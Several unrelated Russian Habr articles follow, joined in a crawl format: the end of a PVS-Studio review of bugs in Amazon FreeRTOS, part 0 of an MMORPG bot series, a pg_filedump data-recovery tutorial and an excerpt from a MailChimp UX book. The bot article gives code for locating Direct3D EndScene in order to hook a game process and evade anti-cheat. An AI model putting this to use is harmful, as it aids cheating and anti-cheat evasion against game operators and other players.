memcpy( &x51ByteHashOidBuffer[ sizeof( xOidSequence ) ],
x32ByteHashedMessage,
32 );
return xResult;
}
```
**Предупреждения PVS-Studio:**
* V1004 [CWE-628] The 'x51ByteHashOidBuffer' pointer was used unsafely after it was verified against nullptr. Check lines: 275, 280. iot\_pkcs11.c 280
* V1004 [CWE-628] The 'x32ByteHashedMessage' pointer was used unsafely after it was verified against nullptr. Check lines: 275, 281. iot\_pkcs11.c 281
Анализатор предупреждает, что параметры функции, являющиеся указателями, используются небезопасно после того, как они были проверены на *NULL*. Действительно, аргументы проверяются, но в случае, если какой-нибудь из них оказывается равным *NULL*, никаких действий, кроме записи в *xResult*, не предпринимается. Этот участок кода как бы говорит: «Ага, значит, аргументы оказались плохими. Мы это сейчас запишем, а вы пока продолжайте, продолжайте».
Итог: в *memcpy* будет передан *NULL*. Что из этого может получиться? Куда будут скопированы значения и какие? На самом деле, гадать об этом не стоит, т.к. стандарт [четко оговаривает](https://en.cppreference.com/w/c/string/byte/memcpy), что такой вызов приводит к неопределенному поведению (смотри пункт 1).

В отчете анализатора еще остались примеры некорректной работы с указателями, которые я нашел в Amazon FreeRTOS, но я думаю, что приведённых примеров уже достаточно, чтобы показать вам возможности PVS-Studio в обнаружении подобных ошибок. Рассмотрим что-нибудь новенькое.
### TRUE != 1
Несколько ошибок, которые я нашел, были связаны с одним паттерном, про который, к сожалению, достаточно часто забывают.
Дело в том, что тип *bool* (из C++) отличается от типа *BOOL* (обычно используемого в C). Первый может содержать только значение *true* или *false*. Второй же является typedef'ом какого-нибудь целочисленного типа (*int*, *long*, и т.д). Для него «ложью» является значение *0*, а «истиной» — любое значение, отличное от нуля.
Так как встроенный булев тип в языке Си отсутствует, то для удобства определяют вот такие константы:
```
#define FALSE 0
#define TRUE 1
```
Теперь рассмотрим пример:
```
int mbedtls_hardware_poll(void* data,
unsigned char* output,
size_t len,
size_t* olen)
{
int lStatus = MBEDTLS_ERR_ENTROPY_SOURCE_FAILED;
HCRYPTPROV hProv = 0;
/* Unferenced parameter. */
(void)data;
/*
* This is port-specific for the Windows simulator,
* so just use Crypto API.
*/
if (TRUE == CryptAcquireContextA(
&hProv, NULL, NULL,
PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT))
{
if (TRUE == CryptGenRandom(hProv, len, output))
{
lStatus = 0;
*olen = len;
}
CryptReleaseContext(hProv, 0);
}
return lStatus;
}
```
**Предупреждения PVS-Studio:**
* V676 [CWE-253] It is incorrect to compare the variable of BOOL type with TRUE. aws\_entropy\_hardware\_poll.c 48
* V676 [CWE-253] It is incorrect to compare the variable of BOOL type with TRUE. Correct expression is: 'FALSE != CryptGenRandom(hProv, len, output)'. aws\_entropy\_hardware\_poll.c 51
Нашли ошибку? А она есть :) Функции [*CryptAcquireContextA*](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta) и [*CryptGenRandom*](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom) – это стандартные функции из заголовка *wincrypt.h*. В случае успеха они возвращают ненулевое значение. Я подчеркну – *ненулевое*. Значит, теоретически это может быть любое значение, отличное от нуля: *1*, *314*, *42*, *420*.
Судя по всему, программист, который писал функцию из примера, не подумал об этом, и в итоге полученные значения сравниваются с единицей.
С какой вероятностью условие *TRUE == CryptGenRandom(....)* не выполнится? Сложно сказать. Может быть, *CryptGenRandom* и возвращает единицу чаще, чем другие значения, а может быть всегда возвращает только единицу. Мы не можем знать этого наверняка: реализация данной криптографической функции скрыта от глаз смертных программистов :)
Важно помнить, что подобные сравнения потенциально опасны. И вместо:
```
if (TRUE == GetBOOL())
```
использовать более безопасный вариант:
```
if (FALSE != GetBOOL())
```
### Проблемы с оптимизацией
Несколько предупреждений анализатора были связаны с медленно работающими конструкциями. Например:
```
int _IotHttpsDemo_GetS3ObjectFileSize(....)
{
....
pFileSizeStr = strstr(contentRangeValStr, "/");
....
}
```
**Предупреждение PVS-Studio:** V817 It is more efficient to seek '/' character rather than a string. iot\_demo\_https\_common.c 205
Кратенько и понятно, не правда ли? Функция *strstr* здесь используется для поиска всего лишь одного символа, который передается в параметр как строка (он заключен в двойные кавычки).
Это место можно потенциально оптимизировать, заменив *strstr* на *strchr*:
```
int _IotHttpsDemo_GetS3ObjectFileSize(....)
{
....
pFileSizeStr = strchr(contentRangeValStr, '/');
....
}
```
Тогда поиск будет работать чуточку быстрее. Мелочь, а приятно.
Такие оптимизации – это, конечно, хорошо, и анализатор нашел еще одно место, которое можно оптимизировать гораздо заметнее:
```
void vRunOTAUpdateDemo(void)
{
....
for (; ; )
{
....
xConnectInfo.cleanSession = true;
xConnectInfo.clientIdentifierLength
= (uint16_t)strlen(clientcredentialIOT_THING_NAME);
xConnectInfo.pClientIdentifier
= clientcredentialIOT_THING_NAME;
....
}
}
```
**Предупреждение PVS-Studio:** V814 Decreased performance. The 'strlen' function was called multiple times inside the body of a loop. aws\_iot\_ota\_update\_demo.c 235
Хммм… Внутри цикла при каждой итерации вызывается *strlen*, который каждый раз вычисляет длину одной и той же строки. Не самая эффективная операция :)
Давайте заглянем в определение *clientcredentialIOT\_THING\_NAME*:
```
/*
* @brief Host name.
*
* @todo Set this to the unique name of your IoT Thing.
*/
#define clientcredentialIOT_THING_NAME ""
```
Пользователю предлагается ввести сюда имя своего устройства. По умолчанию оно пустое, и в этом случае всё хорошо. А что, если пользователь захочет ввести туда какое-нибудь длинное и красивое имя? Например, я бы с удовольствием назвал своё детище "*The Passionate And Sophisticated Coffee Machine BarBarista-N061E The Ultimate Edition*". Представляете, каково было бы моё удивление, если бы после этого моя прекрасная кофе-машина стала работать чуточку медленнее? Непорядок!
Чтобы исправить ошибку, стоит вынести *strlen* за тело цикла. Ведь имя устройства не меняется во время работы программы. Эххх, сюда бы *constexpr* из C++…
Хорошо, хорошо, признаю: здесь я немного сгустил краски. Как отметил мой коллега Андрей Карпов, современные компиляторы знают, что такое *strlen* и он лично наблюдал, как они в двоичном коде просто используют константу, если понимают, что длина строки не может измениться. Так что есть большая вероятность, что в режиме сборки релизной версии вместо настоящего расчёта длины строки будет просто использовано заранее вычисленное значение. Тем не менее, это работает не всегда, поэтому писать такой код – не очень хорошая практика.
Несколько слов про MISRA
------------------------
Анализатор PVS-Studio имеет большой набор правил, позволяющих проверить ваш код на соответствие стандартам MISRA C и MISRA C++. Что это за стандарты такие?
MISRA – это стандарт кодирования для высокоответственных встраиваемых систем. Он содержит набор строгих правил и рекомендаций по написанию кода и налаживанию процесса разработки. Правил этих довольно много, и нацелены они не только на устранение серьезных ошибок, но и различных «code smells», а также на написание максимального понятного и читаемого кода.
Таким образом, следование стандарту MISRA не только помогает избежать ошибок и уязвимостей, но и значительно – значительно! – снизить вероятность их появления в уже существующем коде.
MISRA используется в аэрокосмической, медицинской, автомобильной и военной индустриях – там, где от качества встраиваемого ПО зависят человеческие жизни.
Судя по всему, разработчики Amazon FreeRTOS знают про этот стандарт, и по большей части следуют ему. Это правильно: если вы пишете ОС широкого профиля для встраиваемых систем, то вы обязаны думать о безопасности.
Однако я нашел достаточно много нарушений стандарта MISRA. Я не буду приводить здесь примеры правил вроде «не используйте union» или «функция должна иметь только один return в конце тела» – к сожалению, они не зрелищны, как и большинство правил MISRA. Лучше я приведу вам примеры нарушений, которые потенциально могут привести к серьезным последствиям.
Начнем с макросов:
```
#define FreeRTOS_ms_to_tick(ms) ( ( ms * configTICK_RATE_HZ + 500 ) / 1000 )
```
```
#define SOCKETS_htonl( ulIn ) ( ( uint32_t ) \
( ( ( ulIn & 0xFF ) << 24 ) | ( ( ulIn & 0xFF00 ) << 8 ) \
| ( ( ulIn & 0xFF0000 ) >> 8 ) | ( ( ulIn & 0xFF000000 ) >> 24 ) ) )
```
```
#define LEFT_ROTATE( x, c ) ( ( x << c ) | ( x >> ( 32 - c ) ) )
```
**Предупреждения PVS-Studio:**
* V2546 [MISRA C 20.7] The macro and its parameters should be enclosed in parentheses. Consider inspecting the 'ms' parameter of the 'FreeRTOS\_ms\_to\_tick' macro. FreeRTOS\_IP.h 201
* V2546 [MISRA C 20.7] The macro and its parameters should be enclosed in parentheses. Consider inspecting the 'ulIn' parameter of the 'SOCKETS\_htonl' macro. iot\_secure\_sockets.h 512
* V2546 [MISRA C 20.7] The macro and its parameters should be enclosed in parentheses. Consider inspecting parameters 'x', 'c' of the 'LEFT\_ROTATE' macro. iot\_device\_metrics.c 90
Да, это именно то, о чем вы подумали. Параметры этих макросов не обёрнуты в скобки. Если кто-то случайно напишет что-то вроде
```
val = LEFT_ROTATE(A[i] | 1, B);
```
то такой «вызов» макроса раскроется в:
```
val = ( ( A[i] | 1 << B ) | ( A[i] | 1 >> ( 32 - B ) ) );
```
Помните приоритеты операций? Сначала выполняется побитовый сдвиг, и только после него – побитовое «или». Поэтому логика программы будет нарушена. Более простой пример: что будет, если в макрос *FreeRTOS\_ms\_to\_tick* передать выражение "*x + y*"? Одной из основных целей MISRA и является профилактика возникновения таких ситуаций.
Кто-то может возразить: «если у вас работают программисты, не знающие про такое, то вас уже никакой стандарт не спасёт!», и я с этим не соглашусь. Программисты – тоже люди, и каким бы опытным ни был человек, он тоже может устать и допустить ошибку под конец рабочего дня. Это одна из причин, по которой MISRA настоятельно рекомендует использовать автоматические средства анализа для проверки проекта на соответствие стандарту.
Обращусь к разработчикам Amazon FreeRTOS: PVS-Studio нашел еще 12 небезопасных макросов, так что вы там поаккуратнее с ними :)
Еще одно интересное нарушение MISRA:
```
/**
* @brief Callback for an asynchronous request to notify
* that the response is complete.
*
* @param[in] 0pPrivData - User private data configured
* with the HTTPS Client library request configuration.
* @param[in] respHandle - Identifier for the current response finished.
* @param[in] rc - Return code from the HTTPS Client Library
* signaling a possible error.
* @param[in] status - The HTTP response status.
*/
static void _responseCompleteCallback(void* pPrivData,
IotHttpsResponseHandle_t respHandle,
IotHttpsReturnCode_t rc,
uint16_t status)
{
bool* pUploadSuccess = (bool*)pPrivData;
/* When the remote server response with 200 OK,
the file was successfully uploaded. */
if (status == IOT_HTTPS_STATUS_OK)
{
*pUploadSuccess = true;
}
else
{
*pUploadSuccess = false;
}
/* Post to the semaphore that the upload is finished. */
IotSemaphore_Post(&(_uploadFinishedSem));
}
```
Сможете найти ошибку самостоятельно?
**Предупреждение PVS-Studio:** V2537 [MISRA C 2.7] Functions should not have unused parameters. Consider inspecting the parameter: 'rc'. iot\_demo\_https\_s3\_upload\_async.c 234
Присмотритесь: нигде в теле функции не используется параметр *rc*. Причем в комментарии к функции явно написано, что этот параметр представляет собой код возврата другой функции, и что он может сигнализировать об ошибке. Тогда почему этот параметр никак не обрабатывается? Здесь явно что-то не то.
Впрочем, и без подобных комментариев неиспользуемые параметры часто указывают на нарушенную логику программы. Иначе зачем они нужны в сигнатуре функции?
Здесь я привел небольшую функцию, которая хорошо подходит для примера в статье. Помимо неё я нашел еще 10 неиспользуемых параметров. Многие из них используются в функциях побольше, и обнаружить их – не самое простое дело.
Подозрительно, что их не обнаружили раньше. Ведь компиляторы легко выявляют подобные случаи.

Заключение
----------
Это были не все найденные анализатором проблемные места, но статья и так уже получилась довольно большой. Надеюсь, что благодаря ей разработчики Amazon FreeRTOS смогут исправить некоторые недочёты, а возможно даже захотят самостоятельно [попробовать PVS-Studio](https://www.viva64.com/ru/pvs-studio-download/). Так можно будет тщательнее изучить предупреждения, да и вообще – работать с удобным интерфейсом гораздо проще, чем разглядывать текстовый отчёт.
Спасибо за то, что читаете наши статьи! Увидимся в следующем выпуске :D
P.S. Так уж вышло, что эта статья вышла 31 октября. Поэтому желаю всем счастливого Хэллоуина!
[](https://habr.com/en/company/pvs-studio/blog/473966/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: George Gribkov. [On request of Embedded Developers: Detecting Errors in Amazon FreeRTOS](https://www.viva64.com/en/b/0684/). | https://habr.com/ru/post/473972/ | null | ru | null |
# Пишем бота для MMORPG с ассемблером и дренейками. Часть 0
 Привет, %username%! Покопавшись в статьях хабра, я нашел несколько оных про написание ботов для MMORPG. Несомненно это очень интересные и познавательные статьи, но возможности в них весьма скудны. Что если, например нужно пофармить мобов или руду по заданному маршруту убивая агрессивных мобов, игроков и всех кто будет на Вас нападать по пути, выкрикивая им вслед непристойности, да что б еще и определить не смогли. В общем полная эмуляция среднестатистического MMORPG игрока. Написание макросов для AutoIt, симуляция кликов в окне, анализ пикселей под курсором — это совсем не наш вариант. Заинтриговал? Добро пожаловать под кат!
**Disclaimer: Автор не несет ответственности за применение вами знаний полученных в данной статье или ущерб в результате их использования. Вся информация здесь изложена только в познавательных целях. Особенно для компаний разрабатывающих MMORPG, чтобы помочь им бороться с ботоводами. И, естественно, автор статьи не ботовод, не читер и никогда ими не был.**
---
###### **Содержание**
1. [Часть 0 — Поиск точки внедрения кода](http://habrahabr.ru/post/251137/)
2. [Часть 1 — Внедрение и исполнение стороннего кода](http://habrahabr.ru/post/251149/)
3. [Часть 2 — Прячем код от посторонних глаз](http://habrahabr.ru/post/251199/)
4. [Часть 3 — Под прицелом World of Warcraft 5.4.x (Структуры)](http://habrahabr.ru/post/251353/)
5. [Часть 4 — Под прицелом World of Warcraft 5.4.x (Перемещение)](http://habrahabr.ru/post/251479/)
6. Часть 5 — Под прицелом World of Warcraft 5.4.x (Кастуем фаерболл)
Итак с места в карьер.
##### **1. Выбор способа реализации внедрения (немного теории)**
Определенно нам необходимо внедрить код в процесс игры, который и будет ей управлять. Для это можно модифицировать сам исполняемый файл (это очень легко сделать, но и легко определить и получить бан) или внедрить DLL (это тоже определяется очень просто), но это все не для нас. Наш подход — это внедрение кода, в главный поток процесса, получающего управление и возвращающего его обратно.
Для этого нужно найти/придумать точку внедрения, которая будет не столь очевидна для анти-читов и полезна для нас. Таких точек может быть очень много, но по многим причинам, лучшим решением будет внедрение в отрисовку игры, т.е. создание хука для Direct3D. Опять же по многим причинам лучше всего перехватывать EndScene функцию, потому как до ее вызова, все изменения игрового мира и иные расчеты уже произойдут. Вот происходящий процесс внутри для наглядности:
1. ...
2. Отрисовка объектов текущей сцены игры
3. Вызов подмененной D3D EndScene
4. **Наш код**
5. Вызов оригинальной D3D EndScene
6. Следующая сцена
7. ...
Сцена в данном ключе это так называемый frame. Другими словами — наш код будет работать с частотой вашего fps.
**Замечание: fps может быть достаточно высоким значением, по-этому не стоит обрабатывать каждый вызов кода. Думаю достаточно будет 10-15 вызовов в секунду**
---
##### **2. Инструментарий**
Итак план мы наметили, теперь нужны инструменты. Я (как и большинство надеюсь) люблю использовать все готовое. По сему предлагаю обзавестись следующими вещами:
1. Любая IDE где будем писать код на C#
2. IDA — на мой взгляд лучший дебагер
3. [HackCalc](http://fbe.am/vNt) — калькулятор для пересчета VA (виртуального адреса) в Offset и обратно
4. [SlimDX](http://slimdx.org/download.php) — DirectX фреймворк для .NET
5. [FlatAsm Managed](http://fbe.am/vNu) — библиотека преобразует мнемокоды ассемблера в байткод
---
##### **3. Поиск точки внедрения**
Итак со способом разобрались, инструментами обзавелись, теперь нам необходимо понять, куда внедрять наш код.
При отрисовке с помощью D3D создается виртуальный объект Direct3D device, который по сути представляет собой VMT(виртуальная таблица методов, которая является указателем на указатель на таблицу методов D3D). Это таблица хранит, опять же, указатели на методы Direct3D, например BeginScene, EndScene, DrawText и т.д. Нас в данном случае интересует только EndScene, т.к. Direct3D device создается в единственном экземпляре, то нам нужно получить указатель на него, а затем получить указатели на таблицу. Опять же нам необходимо определить какой D3D используется в клиенте игры и т.к. вариантов у нас 2 (DX9 и DX11), то решить эту проблему можно простым перебором. Для этого мы и будем использовать SlimDX.
В коде processMemory.Read и processMemory.ReadBytes обертки стандартной ReadProcessMemory из kernel32.dll
Проверка на DX9:
```
//Создаем устройство D3D9
var device = new SlimDX.Direct3D9.Device(
new SlimDX.Direct3D9.Direct3D(),
0,
DeviceType.Hardware,
Process.GetCurrentProcess().MainWindowHandle,
CreateFlags.HardwareVertexProcessing,
new[] { new PresentParameters() });
using (device)
{
//Открываем текущий процесс
var processMemory = new ProcessMemory((uint)Process.GetCurrentProcess().Id);
//Считываем необходимый нам адрес расположения в памяти D3D9 функции по смещению 0xA8 от указателя на Com объект
_D3D9Adress = processMemory.Read(processMemory.Read((uint)(int)device.ComPointer) + 0xa8);
//Считываем опкоды функции
\_D3D9OpCode = (int)processMemory.Read(\_D3D9Adress) != 0x6a ? processMemory.ReadBytes(\_D3D9Adress, 5) : processMemory.ReadBytes(\_D3D9Adress, 7);
}
```
Откуда 0xA8?.. Если открыть d3d9.h и найти EndScene метод, то вы найдете
```
STDMETHOD(EndScene)(THIS) PURE;
```
42 ой по счету в интерфейсе IDirect3DDevice9, а одна функция в архитектуре х86 адресуется 4мя байтами, получаем 42\*4=168, а это и есть 0xA8.
Все это необходимо обернуть в try/catch и если вылетела ошибка, значит нам нужно пробовать D3D11 и тут все немного сложнее, нам нужен не EndScene, а SwapChain, он находится по индексу 8, т.е. 8 \* 4 = 32 = 0х20:
```
//Создаем форму отрисовки для получения устройства D3D11
using (var renderForm = new RenderForm())
{
var description = new SwapChainDescription()
{
BufferCount = 1,
Flags = SwapChainFlags.None,
IsWindowed = true,
ModeDescription = new ModeDescription(100, 100, new Rational(60, 1), SlimDX.DXGI.Format.R8G8B8A8_UNorm),
OutputHandle = renderForm.Handle,
SampleDescription = new SampleDescription(1, 0),
SwapEffect = SlimDX.DXGI.SwapEffect.Discard,
Usage = SlimDX.DXGI.Usage.RenderTargetOutput
};
SlimDX.Direct3D11.Device device;
SlimDX.DXGI.SwapChain swapChain;
var result = SlimDX.Direct3D11.Device.CreateWithSwapChain(
DriverType.Hardware,
DeviceCreationFlags.None,
description,
//Здесь мы получаем устройство
out device,
out swapChain);
if (result.IsSuccess) using (device) using (swapChain)
{
//И открыв текущий процесс - считаем адрес функции и опкоды
var processMemory = new ProcessMemory((uint)Process.GetCurrentProcess().Id);
//Считываем наш SwapChain
_D3D11Adress = processMemory.Read(processMemory.Read((uint)(int)swapChain.ComPointer) + 0x20);
\_D3D11OpCode = processMemory.ReadBytes(\_D3D11Adress, 5);
}
}
```
Все это опять необходимо опять же обернуть в try/catch. В случае неудач обоих попыток получить адрес функции D3D возможно изменились смещения либо у вас не D3D9 или D3D11.
**Итог**: У нас имеется адрес функции EndScene D3D и опкоды этой функции.
Что с ними делать и как внедрить свой код я возможно расскажу в следующих частях, а пока голосуйте, осмысливайте код выше, гуглите, яндексуйте, бингуйте, яху..., спрашивайте в коментариях и читайте документацию по ассемблеру, будет полный хардкор и дренейки! | https://habr.com/ru/post/251137/ | null | ru | null |
# Пример восстановления таблиц PostgreSQL с помощью новой мега фичи pg_filedump

Позвольте я расскажу вам об одной классной фиче, которую мы с коллегами из [Postgres Pro](https://postgrespro.ru/) недавно запилили в утилите [pg\_filedump](https://wiki.postgresql.org/wiki/Pg_filedump). Фича эта позволяет частично восстанавливать данные из базы, даже в случае, если база была сильно повреждена и инстанс PostgreSQL с такой базой уже не запустишь. Конечно, хочется верить, что потребность в таком функционале возникает крайне редко. Но на всякий случай нечто подобное хотелось бы иметь под рукой. Читайте дальше, и вы узнаете, как данная фича выглядит в действии.
Частичное восстановление данных было представлено в [коммите 52fa0201](https://git.postgresql.org/gitweb/?p=pg_filedump.git;a=commitdiff;h=52fa0201f97808d518c64bcb9696f2a350678aa5;hp=bcacee12834e211179a6feb85666b8a511393790):
`commit 52fa0201f97808d518c64bcb9696f2a350678aa5
Author: Teodor Sigaev
Date: Tue Jan 17 16:01:12 2017 +0300
Partial data recovery (-D flag).
This feature allows to partially recover data from a given segment file
in format suitable for using in COPY FROM statement. List of supported
data types is currently not full and TOAST is not yet supported, but
it's better than nothing. Hopefully data recovery will be improved in
the future.
Implemented by Aleksander Alekseev, reviewed by Dmitry Ivanov, tested
by Dmitry Ivanov and Grigoriy Smolkin.`
Допустим, есть какая-то таблица:
```
create table tt (x int, y bool, z text, w timestamp);
```
… заполненная какими-то данными:
```
insert into tt values(123, true, 'Text test test', now());
insert into tt values(456, null, 'Ололо трооло', null);
checkpoint;
```
Здесь я говорю checkpoint, чтобы данные обязательно попали на диск. Иначе они попадут в WAL, но buffer manager будет держать их в памяти, пока таплы (tuple, кортеж, строка в таблице) не будут вытеснены более новыми и/или часто используемыми таплами. *Или чекпоинтом по таймауту/накоплению max\_wal. Думаю, это самый частый сценарий для синка страницы на диск. — прим. [Стаса Кельвича](https://github.com/kelvich).*
Также узнаем имя сегмента, соответствующего таблице:
```
select relfilenode from pg_class where relname = 'tt';
```
В моем случае relfilenode у таблицы был 16393. Найдем этот сегмент (или сегменты, если таблица больше 1 Гб) на диске:
```
find /path/to/db/ -type f | grep 16393
```
Скопируем его куда-нибудь и представим, что нам хочется восстановить данные, имея на руках только файл сегмента.
Для этого соберем последнюю версию pg\_filedump:
```
git clone git://git.postgresql.org/git/pg_filedump.git
cd pg_filedump
make
```
Обычно схема базы известна, так как на руках есть приложение, которое с ней работает. Значит, мы знаем типы столбцов в таблице и можем декодировать их таким образом:
```
./pg_filedump -D int,bool,text,timestamp /path/to/db/base/16384/16393
```
Пример вывода:
```
*******************************************************************
* PostgreSQL File/Block Formatted Dump Utility - Version 9.6.0
*
* File: /home/eax/work/postgrespro/postgresql-install/data-master/base/16384/16393
* Options used: -D int,bool,text,timestamp
*
* Dump created on: Tue Jan 17 16:28:07 2017
*******************************************************************
Block 0 ********************************************************
-----
Block Offset: 0x00000000 Offsets: Lower 32 (0x0020)
Block: Size 8192 Version 4 Upper 8080 (0x1f90)
LSN: logid 0 recoff 0x0301e4c0 Special 8192 (0x2000)
Items: 2 Free Space: 8048
Checksum: 0x0000 Prune XID: 0x00000000 Flags: 0x0000 ()
Length (including item array): 32
------
Item 1 -- Length: 56 Offset: 8136 (0x1fc8) Flags: NORMAL
COPY: 123 t Text test test 2017-01-17 16:25:03.448488
Item 2 -- Length: 52 Offset: 8080 (0x1f90) Flags: NORMAL
COPY: 456 \N Ололо трооло \N
\*\*\* End of File Encountered. Last Block Read: 0 \*\*\*
```
Тут довольно много данных, так как pg\_filedump выводит информацию о каждой странице в сегменте и декодирует заголовок каждого тапла. К счастью, можно довольно просто отделить мух от котлет, например, так:
```
pg_fiedump -D ...как..раньше... | grep COPY | perl -lne 's/^COPY: //g; print;' > /tmp/copy.txt
cat /tmp/copy.txt
```
Содержимое файла copy.txt:
```
123 t Text test test 2017-01-17 16:25:03.448488
456 \N Ололо трооло \N
```
Это данные нашей таблицы в формате, пригодном для использования в запросе COPY FROM. Проверяем:
```
create table tt2 (x int, y bool, z text, w timestamp);
copy tt2 from '/tmp/copy.txt';
select * from tt2;
```
Результат:
```
x | y | z | w
-----+---+----------------+----------------------------
123 | t | Text test test | 2017-01-17 16:25:03.448488
456 | | Ололо трооло |
(2 rows)
```
Как видите, все данные успешно восстановлены.
Естественно, это был несколько упрощенный пример и на практике все сложнее. Во-первых, список поддерживаемых типов на данный момент несколько ограничен:
```
static ParseCallbackTableItem callback_table[] = {
{ "smallserial", &decode_smallint },
{ "smallint", &decode_smallint },
{ "int", &decode_int },
{ "serial", &decode_int },
{ "bigint", &decode_bigint },
{ "bigserial", &decode_bigint },
{ "time", &decode_time },
{ "timetz", &decode_timetz },
{ "date", &decode_date },
{ "timestamp", &decode_timestamp },
{ "float4", &decode_float4 },
{ "float8", &decode_float8 },
{ "float", &decode_float8 },
{ "bool", &decode_bool },
{ "uuid", &decode_uuid },
{ "macaddr", &decode_macaddr },
/* internally all string types are stored the same way */
{ "char", &decode_string },
{ "varchar", &decode_string },
{ "text", &decode_string },
{ "json", &decode_string },
{ "xml", &decode_string },
{ NULL, NULL},
};
```
Во-вторых, TOAST сейчас не поддерживается. Если строка хранится в несжатом виде или сжата на странице in-place, pg\_filedump ее успешно восстановит (если сжатые данные не были испорчены). Однако если строка была перенесена во внешнюю TOAST-таблицу, вместо строки вы получите просто "(TOASTED)". В принципе, поддержка TOAST — не нерешаемая задача. Нужно только научить pg\_filedump парсить каталог и находить соответствующую TOAST-таблицу. Просто пока что этого никто не сделал. Возможно, поддержка TOAST будет добавлена в будущих версиях pg\_filedump.
Наконец, на практике схема базы данных иногда меняется, столбцы в таблице появляются и исчезают. Удаление столбцов — не такая уж большая проблема, так как физически в тапле этот столбец остается, просто он всегда равен null. Вот с добавлением чуть сложнее, так как из-за него таплы в рамках одной таблицы могут иметь переменное число атрибутов. Если число атрибутов в тапле не соответствует количеству атрибутов, указанных пользователем, pg\_filedump просто показывает предупреждение с частично декодированными данными, и переходит к следующему таплу. Это значит, что на практике парсинг вывода pg\_filedump будет чуть сложнее, ну или что вам придется прогнать его несколько раз с разными списками атрибутов.
На мой взгляд, да и не только мой, как *крайнее* средство восстановление данных, лучше иметь хотя бы такое, чем не иметь никакого :) Если у вас есть идеи по дальнейшему улучшению представленного функционала, да и вообще любые замечания и дополнения, мне будет крайне интересно ознакомиться с ними в комментариях!
Также вас могут заинтересовать статьи:
* [Становимся контрибьютером в PostgreSQL](https://habrahabr.ru/company/postgrespro/blog/308442/);
* [Потоковая репликация в PostgreSQL и пример фейловера](https://eax.me/postgresql-replication/);
Продолжение — [Еще одна новая фича pg\_filedump: восстанавливаем каталог PostgreSQL](https://habrahabr.ru/company/postgrespro/blog/323644/). | https://habr.com/ru/post/319770/ | null | ru | null |
# UX-команда MailChimp: Разработка [6-я часть книги]
[](http://habrahabr.ru/company/friifond/blog/254307/)
[[TL;DR](http://megamozg.ru/company/friifond/blog/22792/)]
[ [1-я часть книги](http://habrahabr.ru/company/friifond/blog/250605/) ]
[ [2-я часть книги](http://habrahabr.ru/company/friifond/blog/250857/) ]
[ [3-я часть книги](http://habrahabr.ru/company/friifond/blog/251827/) ]
[ [4-я часть книги](http://habrahabr.ru/company/friifond/blog/253225/) ]
[ [5-я часть книги](http://habrahabr.ru/company/friifond/blog/253717/) ]
[ [7-я часть книги](http://habrahabr.ru/company/friifond/blog/254331/) ]
[ [8-я часть книги](http://habrahabr.ru/company/friifond/blog/259201/) ]
#### Создание системы адаптивной рассылки
*Фабио Карнейро*
Создание [модели](https://github.com/mailchimp/Email-Blueprints) адаптивной почтовой рассылки с модульной структурой, которую email-дизайнеры могли бы использовать для обучения и работы, было для нас уникальным по сложности заданием. Несмотря на то, что в библиотеке [дизайн-шаблонов](http://templates.mailchimp.com) рассылки от MailChimp есть огромное количество статей и примеров кода, создание такого уже готового к использованию, работающего кода позволило бы нам объединить всю эту информацию в форме практически полезной референтной модели.
Такой адаптивный шаблон не создавался специально под MailChimp, поэтому мне пришлось работать над ним с учетом самых разных ситуаций, в которых email-дизайнеры могли его использовать. В итоге я сформулировал два тезиса: 1) письма должны создаваться так, чтобы их можно было адаптировать под различные задачи и цели и 2) шаблон должен быть доступным на как можно большем количестве почтовых клиентов.
Достичь доступности использования в разных системах было не так уж сложно. Множество почтовых клиентов просто ужасны, но задача упрощается, как только начинаешь понимать [сильные и слабые стороны](http://templates.mailchimp.com/resources/email-client-css-support/) каждого из них. Это лишь вопрос работы в рамках заданных ограничений.
Требование к возможности подстраивать шаблон под разные задачи было более сложным испытанием. Проектирование и разработка шаблона рассылки для конкретной задачи – вещь довольно простая: можно не ограничивать себя в вопросах дизайна и использовать специализированный HTML-код и CSS для того, чтобы воплотить задуманное в жизнь. Это все потому, что вам известен контекст: вы в курсе, для чего создается письмо, какого рода контент в нем будет представлен, и – в идеале – какими почтовыми клиентами это письмо будет открыто. Но когда вам нужно создать шаблон для того, чтобы с ним могли работать широкие группы людей, цели которых мы далеко не всегда можем заранее описать, такого контекста просто не существует.
Чтобы преодолеть это отсутствие контекста, я решил следовать процессу, подобному тому, который я использовал, чтобы создать шаблоны писем в MailChimp:
1. Очертите наиболее общий круг вариантов использования рассылки.
2. Для этих вариантов использования создайте дизайн-шаблоны.
3. Разработайте систему независимых объектов в HTML.
4. Дополните полученный код возможностью поддержки разных почтовых клиентов.
5. В коде указывайте комментарии для лучшего его понимания, используйте понятную разметку.
И вот как я это сделал:
**Очертите общий круг вариантов использования**
Этот процесс позволяет сформулировать приблизительную идею того, что нужно разработать, и как это сделать.
Практически все электронные письма можно отнести к одной из 4 широких категорий:
* «Прочти меня» – это могут быть, например, новостные рассылки, смысл которых состоит в доведении до адресата информации на основе текста или изображений;
* «Купи меня» – это письма из сферы e-commerce, нацеленные на то, чтобы читатель потратил некоторую сумму;
* «Присоединись ко мне» – информация о мероприятиях или приглашения, освещающие некоторую активность и содержащие призыв к действию для участия в ней;
* «Пойми меня» – это письма, отражающие некоторые транзакции, например, чеки или информацию о заказе, и содержащие важные детали и данные и, как правило, ничего больше.
В случае создания адаптивного шаблона письма, мне нужно было учитывать все четыре эти сценария.
**Создайте дизайн-шаблоны**
Все эти варианты использования содержат в чем-то пересекающиеся наборы элементов. Например, письма типа «Купи меня», «Присоединись ко мне», «Пойми меня» все могут содержать CTA в форме кнопки, при этом письма типа «Купи меня» и «Прочти меня» базируются на интересном контенте, как правило представленном в виде некоторого количества изображений.
Изучая общие элементы разных групп писем, я начал понимать, как должны выглядеть шаблоны их внешнего вида и в итоге сформулировал список блоков, которые нужно было создать. В итоге в готовую модель вошли 17 различных шаблонов, включая кнопки, группы изображений, подписи, контент, заключенный в блоки, календари и изображения с подписями.
**Разработайте систему объектов в HTML**
Как только я понял, что именно мне нужно было разрабатывать, я приступил к написанию кода.
Создавая модель, я хотел быть уверенным в том, что любой сможет обратиться к полученному HTML-коду и понять, как он структурирован, использовать нужные дизайн-шаблоны для реализации своих целей, менять стиль письма, не беспокоясь за состояние фреймворка, и сразу же начать использовать полученный результат в email-кампании.
